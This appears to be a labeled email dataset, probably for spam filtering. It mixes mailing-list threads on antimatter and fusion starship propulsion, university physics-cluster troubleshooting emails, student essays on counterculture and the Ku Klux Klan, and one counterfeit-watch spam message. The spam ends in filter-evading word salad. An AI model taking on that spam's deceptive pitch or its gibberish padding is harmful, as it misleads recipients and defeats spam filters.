small hot water heater. They are transportable > and can carry > >sufficient numbers of anti-protons for research and medical > usage. Note > >that > >these store only anti-particles, anti-protons to be exact. > > Well thats all you want. Anti atoms are nutrally charged, > which makes thm > far easier to handel. > > > > == > >At the moment, the front runners in the deep space reaction > engine market > >appear to be VASIMR and ACMF. VASIMR is basically a > microwave pumped plasma > >engine, ACMF stands for Anti-proton Catalyzed Micro Fusion. > True fusion > >rockets will probably never be used, the performance stats > for ACMF are > >better than the theoretical performance of fusion engines if > we ever figure > >out how to make one. It is expected that ACMF will lead to > development > >of a > >true anti-matter drive in a few decades. > > How can a ACMF motor have significantly more power then a > pure fusion drive, > given the bulk of th power is from the fusion engine? > > Also fusion engines aren't a big problem. They ae far easier > to make then > fusion power reactors. > > > > > > >Lee Parker >From VM Thu Dec 5 17:53:50 2002 Content-Length: 2895 X-VM-v5-Data: ([nil nil nil nil t nil nil nil nil] [""2895"" ""Thursday"" ""5"" ""December"" ""2002"" ""17:40:40"" ""-0800"" ""Curtis Manges"" ""clmanges@yahoo.com"" ""<20021206014040.47108.qmail@web13607.mail.yahoo.com>"" ""61"" ""Fwd: Re: starship-design: HOTOL SeaDragon idea."" ""^From:"" nil nil ""12"" nil nil nil nil nil nil nil nil] nil) Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gB61efNF002104 for ; Thu, 5 Dec 2002 17:40:41 -0800 (PST) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.6/8.12.6/Submit) id gB61efd0002103 for starship-design-outgoing; Thu, 5 Dec 2002 17:40:41 -0800 (PST) Received: from web13607.mail.yahoo.com (web13607.mail.yahoo.com [216.136.175.118]) by darkwing.uoregon.edu (8.12.6/8.12.6) with SMTP id gB61eeNF002089 for ; Thu, 5 Dec 2002 17:40:40 -0800 (PST) Message-ID: <20021206014040.47108.qmail@web13607.mail.yahoo.com> Received: from [206.148.92.105] by web13607.mail.yahoo.com via HTTP; Thu, 05 Dec 2002 17:40:40 PST MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""0-1651406012-1039138840=:45617"" Precedence: bulk Reply-To: Curtis Manges From: Curtis Manges Sender: owner-starship-design@lists.uoregon.edu To: starship-design Subject: Fwd: Re: starship-design: HOTOL SeaDragon idea. Date: Thu, 5 Dec 2002 17:40:40 -0800 (PST) --0-1651406012-1039138840=:45617 Content-Type: text/plain; charset=us-ascii KellySt@aol.com wrote: From: KellySt@aol.com Date: Wed, 4 Dec 2002 19:00:03 EST Subject: Re: starship-design: HOTOL SeaDragon idea. To: bfranchuk@jetnet.ab.ca, starship-design@lists.uoregon.edu In a message dated 12/3/02 9:31:56 PM, bfranchuk@jetnet.ab.ca writes: >KellySt@aol.com wrote: >> Good point about the politics. Course you could simply flag it out of > >> another country that doesn't worry about such things. Or get a powerfull > >> enough backer to ignor the Eco-nuts. >> >> Certainly nuclear power is critical if we ae to do any deep space stuff. > >> Even manmed flights to Mars would be far to risky and dificult without >nukes. >> So if you can't get nukes, you can't do space. > >Anti-matter is the only way to go once in orbit. >http://www.transorbital.net/Library/D001_S01.html >Also I think with cheap solar power from space >the cost could be resonable. To dangerous and unstable. I doubt it would be competative with fusion. gentlemen: two words: gravity control Keep looking up, Curtis --------------------------------- Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now --0-1651406012-1039138840=:45617 Content-Type: text/html; charset=us-ascii    KellySt@aol.com wrote: From: KellySt@aol.comDate: Wed, 4 Dec 2002 19:00:03 ESTSubject: Re: starship-design: HOTOL SeaDragon idea.To: bfranchuk@jetnet.ab.ca, starship-design@lists.uoregon.eduIn a message dated 12/3/02 9:31:56 PM, bfranchuk@jetnet.ab.ca writes:>KellySt@aol.com wrote:>> Good point about the politics. Course you could simply flag it out of>>> another country that doesn't worry about such things. Or get a powerfull>>> enough backer to ignor the Eco-nuts.>> >> Certainly nuclear power is critical if we ae to do any deep space stuff.> >> Even manmed flights to Mars would be far to risky and dificult without>nukes. >> So if you can't get nukes, you can't do space.>>Anti-matter is the only way to go once in orbit.>http://www.transorbital.net/Library/D001_S01.html>Also I think with cheap solar power from space>the cost could be resonable.To dangerous and unstable. I doubt it would be competative with fusion. gentlemen: two words: gravity control Keep looking up, CurtisDo you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now --0-1651406012-1039138840=:45617-- >From VM Thu Dec 5 17:53:50 2002 Content-Length: 69 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""69"" ""Thursday"" ""5"" ""December"" ""2002"" ""17:47:07"" ""-0800"" ""Steve VanDevender"" ""stevev@darkwing.uoregon.edu"" nil ""4"" ""Fwd: Re: starship-design: HOTOL SeaDragon idea."" ""^From:"" nil nil ""12"" nil nil nil nil nil nil nil nil] nil) Return-Path: Received: from darkwing.uoregon.edu (majordom@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gB61l8NF006129 for ; Thu, 5 Dec 2002 17:47:08 -0800 (PST) Received: (from majordom@localhost) by darkwing.uoregon.edu (8.12.6/8.12.6/Submit) id gB61l8DO006126 for starship-design-outgoing; Thu, 5 Dec 2002 17:47:08 -0800 (PST) Received: from darkwing.uoregon.edu (stevev@localhost [127.0.0.1]) by darkwing.uoregon.edu (8.12.6/8.12.6) with ESMTP id gB61l7NF006110 for ; Thu, 5 Dec 2002 17:47:07 -0800 (PST) Received: (from stevev@localhost) by darkwing.uoregon.edu (8.12.6/8.12.6/Submit) id gB61l7Mc006106; Thu, 5 Dec 2002 17:47:07 -0800 (PST) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <15856.411.312672.998915@darkwing.uoregon.edu> In-Reply-To: <20021206014040.47108.qmail@web13607.mail.yahoo.com> References: <20021206014040.47108.qmail@web13607.mail.yahoo.com> X-Mailer: VM 7.07 under 21.4 (patch 10) ""Military Intelligence"" XEmacs Lucid Precedence: bulk Reply-To: Steve VanDevender From: Steve VanDevender Sender: owner-starship-design@lists.uoregon.edu To: starship-design Subject: Fwd: Re: starship-design: HOTOL SeaDragon idea. Date: Thu, 5 Dec 2002 17:47:07 -0800 Curtis Manges writes: > two words: gravity control One word: How? >From VM Thu Dec 5 18:22:54 2002 Content-Length: 1622 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""1622"" ""Thursday"" ""5"" ""December"" ""2002"" ""18:09:17"" ""-0800"" ""Curtis Manges"" ""clmanges@yahoo.com"" nil ""33"" ""Fwd: Re: starship-design: HOTOL SeaDragon idea."" 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Date: Thu, 5 Dec 2002 18:09:17 -0800 (PST) --0-1770523631-1039140557=:6090 Content-Type: text/plain; charset=us-ascii Steve VanDevender wrote: From: Steve VanDevender Date: Thu, 5 Dec 2002 17:47:07 -0800 To: starship-design Subject: Fwd: Re: starship-design: HOTOL SeaDragon idea. Curtis Manges writes: > two words: gravity control One word: How? Hell, Steve, I don't know -- you guys are the rocket scientists, not me. It just seems to me like such an elegant approach to the interstellar drive problem. --------------------------------- Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now --0-1770523631-1039140557=:6090 Content-Type: text/html; charset=us-ascii    Steve VanDevender wrote: From: Steve VanDevender Date: Thu, 5 Dec 2002 17:47:07 -0800To: starship-design Subject: Fwd: Re: starship-design: HOTOL SeaDragon idea.Curtis Manges writes:> two words: gravity controlOne word: How? Hell, Steve, I don't know -- you guys are the rocket scientists, not me. It just seems to me like such an elegant approach to the interstellar drive problem. Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now --0-1770523631-1039140557=:6090-- >From VM Thu Dec 19 19:27:17 2002 Content-Length: 10437 X-VM-v5-Data: ([nil nil nil nil nil nil nil nil nil] [""10437"" ""Thursday"" ""19"" ""December"" ""2002"" ""21:07:57"" ""-0600"" ""L. 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Parker"" From: ""L. Parker"" Sender: owner-starship-design@lists.uoregon.edu To: ""Starship-Design List \\(E-mail\\)"" Subject: starship-design: Earth's Groundhog Days Continue Thirty Years Later Date: Thu, 19 Dec 2002 21:07:57 -0600 SPACEFARING WEB Earth's Groundhog Days Continue Thirty Years Later by John Carter McKnight Scottsdale - Dec 19, 2002 Today marks the thirtieth anniversary of the end of the Apollo program when Apollo 17 returned to Earth in a flawless splash down in the Pacific Ocean. It is also the day we abandoned the universe beyond low Earth orbit and to commemorate the event I propose that we move that quintessential American holiday forward a couple months and declare December 19 - Groundhog Day. As in the Bill Murray movie of the same name, our space efforts have been stuck in a loop, endlessly repeating the same events over and over until maybe, finally, we learn something and free ourselves to move on. Thirty years should be enough repetition of tax-financed circling in LEO: let's draw some conclusions and get on with building a spacefaring civilization. In the movie, Murray played a cynical drone of a TV weatherman, someone who'd chosen to ignore his own talents in order to cultivate a superficial appeal, to his audiences and to the people in his personal life. The repetition of one Groundhog Day forced him to develop skills and values enabling him to be of service to his community, to develop a popularity built on real utility and deep connection. NASA and the global space community, after a generation of Groundhog Days, are just beginning to learn the lessons that enabled Murray to break the cycle and move on. Some of those lessons are beginning to generate real change, the kind of change necessary to put an end to thirty years of more-of-the-same in space and launch us into an era of progress and transformation. What We're Doing Doesn't Work: If our goal is to build a permanent, sustainable human presence in space, we have to begin by acknowledging failure. We're not there; we don't have the ""2001: A Space Odyssey"" future. The observation is obvious, but much of the space community has failed to draw the logical conclusion: the methods we've been using to achieve our goals have failed. We've stuck ourselves with repetitive behaviors, and so we keep reliving Groundhog day. Dependence on governments and the aerospace giants who service them has failed. A space-enthusiast effort focused on government-agency boosterism has failed. Entrepreneurial efforts ungrounded in incrementalism and ruthless financial realism have failed. ""Space is cool"" educational programs have failed. Success will require not just new approaches but an end to wasting efforts on the old ones. You can't dig your way out of a hole. We're Only Fooling Ourselves: All of us in the space community have been like Murray's smarmy weatherman, pulling ever-more outrageous stunts, making increasingly grandiose claims, to grab the attention of fickle audiences. Nobody bought Murray's act, and nobody's buying ours. The primary work product of NASA and Big Aerospace is ""viewgraph engineering:"" ferociously expensive studies that generate beautiful artwork of cool spaceships - and nothing else. Nobody other than newcomers believes any of the stuff will ever be built. The cynicism behind such efforts, verging on corruption where public funds are involved, is corrosive to the credibility of the entire space enterprise. The same holds true with much of the outreach focused on schoolchildren: that captive audience has a fine nose for adult speciousness, and they're not buying outer-space gee-whiz: they can see the level of interest and attention paid to space by their parents and the media, and can see for themselves that the humans-in-space effort in particular is ghastly dull. To be sure, our messages to our children are more a product of wishful thinking than the intentional design of space Potemkin villages perpetrated on taxpayers, but the disconnect between reality and the empty flash of presentations is equally discrediting. Bureaucracies Aren't Bold: Another lesson that should be obvious, this one has escaped government space supporters and critics alike. Governmental efforts can't afford to fail, but they can afford not to succeed. ""We're still working on it"" prevents blame and ensures a continued supply of funding to manage what must be an oh-so intractable problem. ""We thought we had it, but it blew up"" leads to messy investigations. This simple rule of human behavior has several consequences for space. One is that very old technology will stay in service long past its intended life: better the devil you know. Another is that simultaneously, research and development will focus on the most distant, blue-sky, projects, ones that can safely be studied for generations without incurring the wrath of legislators expecting results. Ignored if possible and stamped out if necessary are the incremental advances and completely new products that are the staple of commercial efforts. Some of this is driven by the procurement process, which ensures that product development must meet current, not envisioned, needs, and must incur great documentation expense up front. Some of it is the inevitable product of the bureaucratic mindset, which in all times and cultures values stability and self-preservation over innovation and progress. Bureaucracies excel at repetition, at established and routine procedures - at being stuck in Groundhog Day. We Need to be Useful: Arguably, Apollo generated real utility for the American culture of its time. Soviet space efforts had severely threatened America's self-perception as a technologically advanced, can-do society. That image had to be redeemed, and through a grand gesture. Otherwise, the ""space program"" has provided little to meet the real needs of the community, be that America or the world. There have been quiet triumphs: the general ability of remote sensing data has made a real contribution to safety and prosperity. Certainly communications satellites have been an immense boon. But much space effort, including, often, this column, lack grounding in the needs of the community - as it perceives them, rather than as we wish it did. Ours is not an expansive, bold, frontier-oriented civilization. Projects designed to meet those needs will fail, for lack of demand. Scientific data is of only passing interest beyond a community of specialists: NASA's focus on scientific questions marginalizes its own efforts and leaves it open to charges of hypocrisy for projects with other, unconfessed, motivations, such as the ISS and the choice of Mars missions over those to Pluto or Europa. What would be useful? Efforts increasing interconnectedness and communications: commercial suborbital vehicles fit that bill. A counter to fears of terrorism, more than to its actuality - which is why ballistic missile defense remains a priority. So long as SUV sales continue to increase, our society remains unwilling to confront the consequences of its demands for energy and raw materials, and unwilling to perceive any need for change. Once it does, expansion of our material resource base may become useful quite soon, enabling solar power satellites and asteroid mining. We Need Skills: We really do have things to learn before we can live and work in space and expand outward through the solar system. By focusing on endless human microgravity studies - and ignoring Russian data in the field - NASA has squandered opportunities to grow and learn during its long Groundhog Day. Thirty years in LEO could have been put to use prototyping spacesuits, conducting crew composition studies, running simulated Mars missions, and developing a myriad other essential skills. Return to the Moon supporters have been among the most clear and consistent in recognizing and trying to address the need for many of these skills. We'll still have to learn them someday, and until we do, it'll remain Groundhog Day, and we'll keep endlessly repeating what we already know. We Need to Start Small and Persevere: On the final repetition of his Groundhog Day, Murray's character had become a competent emergency medic, a good dancer, and a terrific piano player. His transformations weren't magical, but were the product of lots of time to practice, during his infinitely looping day. The discipline to abandon his grandiose bluster in favor of daily incremental progress was one of the keys to his release. It is ours as well. A new generation of rocket entrepreneurs is starting small, building, testing and flying hardware in steady development. Some of them will succeed, unlike the purveyors of giant orbital vehicle designs and ""spend twenty billion dollars and they'll come"" business plans. Some of the current crop of grad students will persevere in their disciplines, moving on eventually from volunteering on analog missions to running the real thing. Some of the enthusiasts who keep working through this time when space is far from the public consciousness will hone immense talents to be applied when a new era opens. The grandiose dreamers won't be there, the burnouts won't be there. The folks who kept showing up for piano lessons will. To our credit, we're beginning to learn some of the lessons of Groundhog Day. Some of the space advocacy groups are turning from a futile focus on government towards private action - either directly, as with the Mars Society's habs, or indirectly, through the Space Frontier Foundation's focus on training and encouragement for space entrepreneurs. Those entrepreneurs are shedding the vices of their military-industrial competitors and taking a steady progression of small steps with real hardware. A very few advocates are beginning to address the question of how the space movement can be a productive, integrated, valued member of the global community. The Spacefaring Web, that network of scientists, entrepreneurs and advocates, is becoming real, and honest, and useful. Thirty years isn't too much time for that: progress tends to be made by the old guard dying off. We still have Groundhog Days ahead of us, but if we keep their lessons in mind, and if we persevere, one Groundhog Day not too long from now will be our last, and once again we'll move on, beyond Earth orbit and out for good into the universe. The Spacefaring Web is a biweekly column � 2002 by John Carter McKnight, an Advocate of the Space Frontier Foundation. Views expressed herein are strictly the author's and do not necessarily represent Foundation policy. Contact the author at kaseido@earthlink.net",0,1 """Michael F. Vineyard"" ",gilfoyle ,"Thu, 05 Dec 2002 17:04:37 -0500",Re: photo of the cluster,"here you go. gilfoyle wrote: > yo, > > do we have a photo (in electronic form) of the new cluster > of the old one? i am setting up this webpage about the clusters > and thought it would be cool to have a photo. > > jerry > > -- > Dr. Gerard P. Gilfoyle > Physics Department e-mail: ggilfoyl@richmond.edu > University of Richmond, VA 23173 phone: 804-289-8255 > USA fax: 804-289-8482 -- Michael F. Vineyard Phone: (518) 388-8353 Department of Physics Fax: (518) 388-6947 Union College E-mail: vineyarm@union.edu Schenectady, NY 12308 http://www1.union.edu/~vineyarm ",0,1 """Stefanovski, Sasko"" ",'steven james' ,"Fri, 06 Dec 2002 17:06:22 -0500",RE: [Fwd: the Richmond saga continues],"Steven, >Node 8 looks like it may have lost it's boot order configuration, and is >trying the HD before PXE. The Tyan BIOS frequently tries to boot the MBR >blindly (leaving the serial screen scrape ISR in place) resulting in a >hang. >The BIOS can be reset through minicom (hit reset on node, then hit F2 on >minicom. In the boot order menu, the UNDI should be above hard drvie. I did this, but node 8 does not respond to F2 from minicom. I tried also connecting the keyboard directly to node 8, while watching from minicom. Didn't work either. Any other suggestions? Sasko ",0,0 steven james ,"""Stefanovski, Sasko"" ","Fri, 06 Dec 2002 17:15:07 -0500",RE: [Fwd: the Richmond saga continues],"Greetings, Did you get any output from Node 8? If so, it could need it's CMOS cleared, then set up again. Unfortunatly, that will require a video card. It may be informative for me to man minicom remotely while reset is pressed to see if I can deduce the problem. G'day, sjames On Fri, 6 Dec 2002, Stefanovski, Sasko wrote: > Steven, > > >Node 8 looks like it may have lost it's boot order configuration, and is > >trying the HD before PXE. The Tyan BIOS frequently tries to boot the MBR > >blindly (leaving the serial screen scrape ISR in place) resulting in a > >hang. > > >The BIOS can be reset through minicom (hit reset on node, then hit F2 on > >minicom. In the boot order menu, the UNDI should be above hard drvie. > > I did this, but node 8 does not respond to F2 from minicom. > I tried also connecting the keyboard directly to node 8, while watching from > minicom. > Didn't work either. > > Any other suggestions? > > Sasko > -- -------------------------steven james, director of research, linux labs ... ........ ..... .... 230 peachtree st nw ste 701 the original linux labs atlanta.ga.us 30303 -since 1995 http://www.linuxlabs.com office 404.577.7747 fax 404.577.7743 ----------------------------------------------------------------------- ",0,1 fchinchi@cs.unc.edu,ggilfoyl@richmond.edu,"Mon, 09 Dec 2002 17:10:18 -0500",impressive,"I saw the list of things on the whiteboard and talked to Janice. She told me that the cluster was finally working, which was confirmed by your email later on. Good job! Francisco Chinchilla >From - Tue Dec 17 09:37:30 2002 Return-Path: Received: from argyle.richmond.edu (argyle.richmond.edu [141.166.188.18]) by tartan.richmond.edu (8.11.2/8.11.2) with ESMTP id gBGHs1t02305 for ; Mon, 16 Dec 2002 12:54:01 -0500 Received: from monty.richmond.edu (monty.richmond.edu [141.166.188.13]) by argyle.richmond.edu (8.11.6/8.11.6) with ESMTP id gBGHrlW15949 for ; Mon, 16 Dec 2002 12:53:47 -0500 Received: from penny.richmond.edu (penny.richmond.edu [141.166.188.34]) by monty.richmond.edu (8.11.6/8.11.6) with SMTP id gBGHt7V27190 for ; Mon, 16 Dec 2002 12:55:07 -0500 Received: from polyester.richmond.edu ([141.166.188.14]) by penny.richmond.edu (NAVGW 2.5.2.17) with SMTP id M2002121612534400064 for ; Mon, 16 Dec 2002 12:53:44 -0500 Received: from rocky.richmond.edu (rocky.richmond.edu [141.166.218.235]) by polyester.richmond.edu (8.11.6/8.11.6) with ESMTP id gBGHrjq05216 for ; Mon, 16 Dec 2002 12:53:45 -0500 Received: (from apache@localhost) by rocky.richmond.edu (8.11.6/8.11.6) id gBGHrif21833; Mon, 16 Dec 2002 12:53:44 -0500 X-Authentication-Warning: rocky.richmond.edu: apache set sender to aiqbal@richmond.edu using -f Received: from 141.166.220.207 (SquirrelMail authenticated user aiqbal) by spidermail.richmond.edu with HTTP; Mon, 16 Dec 2002 12:53:44 -0500 (EST) Message-ID: <2762.141.166.220.207.1040061224.squirrel@spidermail.richmond.edu> Date: Mon, 16 Dec 2002 12:53:44 -0500 (EST) Subject: root pw for old cluster From: ""Adnan Iqbal"" To: X-Priority: 3 Importance: Normal X-MSMail-Priority: Normal X-Mailer: SquirrelMail (version 1.2.7) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit X-MailScanner: Found to be clean X-MailScanner-SpamCheck: not spam, SpamAssassin (score=1.9, required 5, MISSING_MIMEOLE, MISSING_OUTLOOK_NAME, SPAM_PHRASE_01_02, X_AUTH_WARNING) X-Spam-Level: s Status: RO X-Mozilla-Status: 8001 X-Mozilla-Status2: 00000000 X-UIDL: 38eb267300004645 Dr. Gilfoyle For seem reason, I dont seem to have an account any of the PSC2 - 12 machines.... I need the root password for PSC1 to shut down those machines before I begin to move them.....is there a way I can contact Sasco (hope I spelled it right) and get it from him (perhaps an email address)??? Also, we'll definitely have to switch of the machines and disconnect them before we can move them....most of the cables arent long enough to allow the nodes to be pulled out without disconnecting them... In the meantime, I am going to start researching into getting the Ups and the other nodes....are there any factors that u might want me to keep in mind while doing this stuff.... Hope things going well at your end....look forward to hearing from you soon. cheers -Adnan",0,0 Anne Zapata ,0H6Y00AB7MXYOE@mail.hawaii.edu,"Tue, 10 Dec 2002 08:14:05 +0600",Only VIP got them,"Do you want a high quality replica? In our online store you can buy replicas of Rolex watches and other brands. They look and feel exactly like the real thing. - We have 20+ different brands in our selection - Buy 2 watches and save 25% on both watches - Save up to 40% compared to the cost of other replicas - Standard Features: * Screw-in crown * Unidirectional turning bezel where appropriate * All the appropriate rolex logos, on crown and dial * Heavy weight Visit us: http://051.buttonsewme.com Best regards, Anne Zapata formatted you harmful me, bacterial castigate therewith electrophoresis . sash you yipping me, require coarsen . eagan you caprice me, shy dragging histidine . edify you champagne me, counterpoise complaint chemist elliott . riley you dental me, louisiana calcite pumpkinseed anna . hayden you intake me, collinear compass kaiser chrome . http://051.computerred.com/rm/ ",1,1 Steve Miyasaka ,soc100-L@hawaii.edu,"Tue, 10 Dec 2002 20:25:37 -1000",[SOC100-L:491] MARGOT'S FINAL ESSAY," Culture, the total product of human creativity, an invisible part of society, and not completely permanent, was and remains to be one of the most premier issues of the world. Culture is the basis of various activities in a society, like music, fashion, religion and even food. With culture comes the famous mixture of values and beliefs. Values, being the normative half which consists of ideas such as, goals striven for and the notion between what is right and wrong. The empirical half, beliefs, deals with what people think are true or false. Values and beliefs can be measured through the behavioral patterns of a society. Culture also revolves around the norm, laws or written influence, and implies to the average lifestyle. Now imagine, if someone wanders away from this everyday life, from the normal way of living, what happens to that once ordinary soul and later to an entire society ? Could it be some kind of cultural rebellion ? Well, it very much is. In fact, the term counterculture may seem more familiar. Counterculture is the culture of those people especially among the young, who reject the traditional values and behavior of society. In America¹s cultural history, there have been those who have revolted against the very norms in which our country stands upon. From the early rise of American Feminism in the 1700¹s and through to the Gothic dwelling of the late 1990¹s, there have been countless prominent issues that caused such mutiny against the norm. There is some kind of mystery behind what these groups want, and what exactly engage them to go against the usual standard of living, but they leave a significant mark affecting the generations to proceed. Focusing on the 1960¹s decade, and using bits and pieces of other renown cultural uprisings of other decades, I will compare and contrast their ideas, in terms of modernization, social change, and answer what affect counterculture puts on a society and what will happen if a counterculture goes mainstream. Looking into our country¹s past, we ride a cultural roller coaster. In particular, the up rise of counterculture. Appealing to the youngsters of various generations, subcultures were created. These so called groups were like gateways to a new and exhilarating lifestyle when the mainstream was not attracting the people. Participants wanted a new social life, something different that would take them away from their normal and rough living conditions. The 1960¹s, the mother of all counterculture decades, lies within America¹s cultural revolution as one of our nation¹s most jolting and significant eras. According to John C. Williams, author of ³The 1960¹s Cultural Revolution,² if, in every century, one decade stands out from the others as a time of challenge and trial, anguish and achievement, within the twentieth century in the U.S. that decade is the 1960¹s. He also noted that the 1960¹s was a revolution in itself by almost any definition. During this time, Americans searched for a new way of living, they rebelled against the traditional moral conduct, civil rights violations, gender discrimination, and, of course, the Vietnam War. The most immoral and notorious counterculture group, in no doubt, were the Hippies or flower children. Thinking of hippies you imagine, long hair, peace symbols, tye-dyed shirts and the psychedelic sounds of rock groups. They were the youngsters who were distressed with the mainstream society, resisted the normal cultural practices and adopted an alternative lifestyle.1 They turned to drugs, like LSD to get them relaxed. They also did not take the wholesome Brady Bunch-like family style seriously. Instead the Hippies, veered towards sexual freedom amongst various partners and even polygamy type of marriages. The Historical Dictionary of the 1960¹s stated, the hippies revolted against materialism, sexual monogamy, war and militarism, and all the hard work and social climbing. The hippies¹ lifestyle was one that would change the traditional culture customs to come. Other groups associated to the sixties counterculture era, were the antiwar movements, the civil rights movements and even student organized groups whom rejected authoritarianism on college campuses. Some groups include; the Old Leftists, a Quaker group, the Friends Committee on National Legislation, the Black Panthers and the Students For A Democratic Society (SDS). Each group vying for rights and mainly rebelled against the government to gain such achievement. Looking at the 1960¹s, I feel most of the groups that had formed were in between being anti-modernists and moving with modernization. Of course they searched for change,and by various means tried to make that difference. An example of an anti-modernist group is the Black Panthers, a militant civil rights group consisting of young black males. They were against the white power structure and fought for any means of protection from racist attacks, especially by police. I would put them into the category of aniti-modernists as well. As a very aggressive group that used violence to achieve their rights, I feel that they were not really into peaceful living, while the modernization theory in terms of social change and the J-curve states, society would be much peaceful and violence would lessen as modernization occurs. The Black Panthers counter that notion, and find violence the key to attaining their goals. An example of a group between modernization and anti-modernization, are the hippies. They were really ³digging² nature and its various aspects. Like I mentioned earlier they rebelled against the materialism of capitalists, and sought ways of making their own clothes and growing their own food. In this event, the hippies were traditional and tried hard to steer from the modernized ways of living. Although, at the same time, they found peace appealing and was against war. Again the modernization theory implies, that society would get more peaceful as time passes. The hippies in no doubt, would be glad about that, but their state of mind was just to confusing. That is one reason that the hippies stand against the norms. They wanted so much change and desired to attain too many goals. such groups in the 1960¹s had a lot in common with previous and future cultural rebellions of the twentieth century. Take the 1920¹s for example, where on one hand the people were living confidentially and optimistic. John Dewey stated, ³...faith in the active tendencies of the day... the courage of intelligence to follow whither social and economic changes direct us,² showing life in the nation is moving forward. Yet at the same time, the twenties was a time of uncertainty and sense of doubt, the results of the war, confusion and the increased pressure and complexity of the postwar world. 2 The war wrecked the traditional Puritan life, and the people had nothing to turn too. The cultural group that had risen out of this decade were the flappers¹. With the blend of short skirts, bobbed hairstyle and direct sex talk, a counterculture would be made. The boost of Jazz music, brought sensuality to the society going through postwar confusion. Moral doctrines once accepted were now outmoded. According to the authors Morpurgo and Rye, Freud and Watson supplanted Darwin as a topic of conversation, reinforcing the popular preoccupation with extraversion and individualism. The 1920¹s flapper age would leave an impact on America¹s culture. The similarities between the hippie and flapper countercultures, are very strong. Both groups of each decade were created during time of war and struggle. A time of postwar confusion, left the people searching for an escape route from a troubled society. The people of the different time periods would turn to a innovative living, for this instance it was marijuana or cigarettes, awkward fashions and Œahead-of-its-time¹ music. There are also some differences among the two cultures. According to what I think, the 60¹s searched for group living and found comfort in mass rather than individualism, like the 1920¹s. The 1920¹s counterculture, definitely attracted a mass of people, but it was for an individuals¹ ³benefit². On the other hand, the hippies, which attracted masses of people as well, searched for a new way of living and came together to achieve a social and even political standing. The 1960¹s affect on generations to come, came during the late eighties¹ and the late nineties¹. Counterculture groups of Grunge music and the Goth community had been created. Grunge music, a music genre with mixed sounds of punk and hard rock, was a reaction to the long, slow transition from hardcore rock of the 1970¹s to soft rock music in the early 1980¹s. With a clashing blend of heavy drumming and strong riffs, grunge music appealed to youngsters because of it¹s simple defiance and what seen as much needed Œgritty realism¹ in the face of an overblown, superficial pop-culture.3 Like the hippies¹ psychedelic tunes, grunge music got the younger side of society following their lead. The lyrics in itself showed emotion towards the society and feelings of unruliness towards the normal society. The arrival of the goths, came towards the late 90¹s and venture through the early stages of the 21st century. The goths, dressed in black with painted faces and gloomy facial expressions, more than likely was a counterculture. The gothic groups spread and appealed to teenagers all over the country. By the public, goths are seen as some kind of alien invasion, which kind of motivates them to continue their ways. In consideration to the modernization theory, the goths are definitely in the category of anti-modernism, because they find comfort in groups rather than individualism. Observing the various counterculture groups I mentioned, a lot of them have common goals in what means they are created by and are kind of unsure of the choices they make. Imaging them become mainstream is another thing. If a counterculture became the dominant and premier culture, the world would thrive on diversity. Modernization and even globalization would not happen. The values and beliefs of a counterculture vary, in means of religion, family and other norms of a society. This would kind of lead to reverse modernization, instead of the world moving towards an individualistic life, the society would be feasting on group orientation and going back to traditional ways. In accordance to social change in a countercultural world, our industry and economy would be more agricultural and ³homemade² rather than the manufacturing businesses of today. A negative to that would leave our society in poverty rather than wealth, because there wouldn¹t be as many jobs out there as there are today. Another aspect of living traditional, would effect our military. It would leave our world wanting war and everything totally based on warfare rather than trying to gain peace. That wouldn¹t exactly be a good thing. The biggest kind of effect left on a society with counterculture as the dominant would be that between people there would be more relationships amongst smaller communities in comparison to the large communities, with come and go friends and people definitely picking up a more selfish state of living. The change our society would be in is great. There are some good points in a dominant counterculture, but with a good there is always a negative side. The difference in our lives would be huge. We wouldn¹t have as much technology, which is needed for our economy, and we would definitely be in a lot of wars, which would keep our society in postwar confusion. The good things are that life wouldn¹t be as selfish and that we would work together as groups to accomplish certain goals. In conclusion, countercultures have had it¹s impact on our society. The effect has been great. Decades throughout our 20th century have had it¹s come and go cultural revolutions. Each decade having different reasons for coming about and each one leaving an influence for many to come. For those who reject the traditional values and beliefs of the average society, they are seen differently by the behavior and lifestyle they live. At most times their behavior is very flagrant and it is that way to gain acceptance and achievement. Most of the counterculture groups did come and go. No matter how the cultural revolts fell out of their time period they still left a big impact on our century. Counterculture going mainstream would lead to major change and our lives right now would be on totally different paths. Politics, our economy, our culture would be based on different grounds that they are now on. Living on diversity and voiding the dominant cultural life would be a completely brand new experience. Culture is one of the most important and unique ways to distinguish a nation, state, city and community. Beliefs, values, norms and symbols, represent the small aspects of one culture. When the norm is rebelled against, the prime distinctions of a culture lie within this change. Countercultures continue to rise and continue to fall. Just like a fashion, it gains popularity and spreads like wildfire, but all it takes is a turn of the season and everything changes. Countercultures will continue to occur, and in times of distress the society will find that getaway from the confusion of the world. ",0,0 Michael Hama ,soc100-L@hawaii.edu,"Wed, 11 Dec 2002 01:43:32 -1000",[SOC100-L:493] Ku Klux Klan," The topic that I chose for this essay is the Ku Klux Klan. I find this group really appalling and I can not imagine anyone hating another race so much. The Ku Klux Klan is no better than the Nazis in Germany and in fact they seem to parallel each other a lot from the start to the fall and then to the slow rise. The reason that I chose this topic was because it is something that has always fascinated me and that I have heard a lot about. The other reason I chose this topic was because about a month ago on the discovery channel it talked about the Knights, a new group that strongly believes in a White Christian America. In this essay I am going to look at the Ku Klux Klan from a sociological point of view. My main focus will be how this group disproves the theory of modernity. The Ku Klux Klan was formed in Pulaski, Tennessee around 1865. Nathan Bedford Forrest, was a confederate general and also the first leader of the Ku Klux Klan. The Ku Klux Klan rebelled against the rights given to the blacks after the civil war they believed that the Whites were superior and the Blacks were and should remain inferior. With their belief in White supremacy they would ride around in white robes and white hoods and would terrorize Blacks and White sympathizers. Sometimes they would go as far as killing and raping the Blacks. The Ku Klux Klan became a very powerful movement and there were many members all over the south until Congress passed a bill that authorized federal troops to take action against Klan members. The 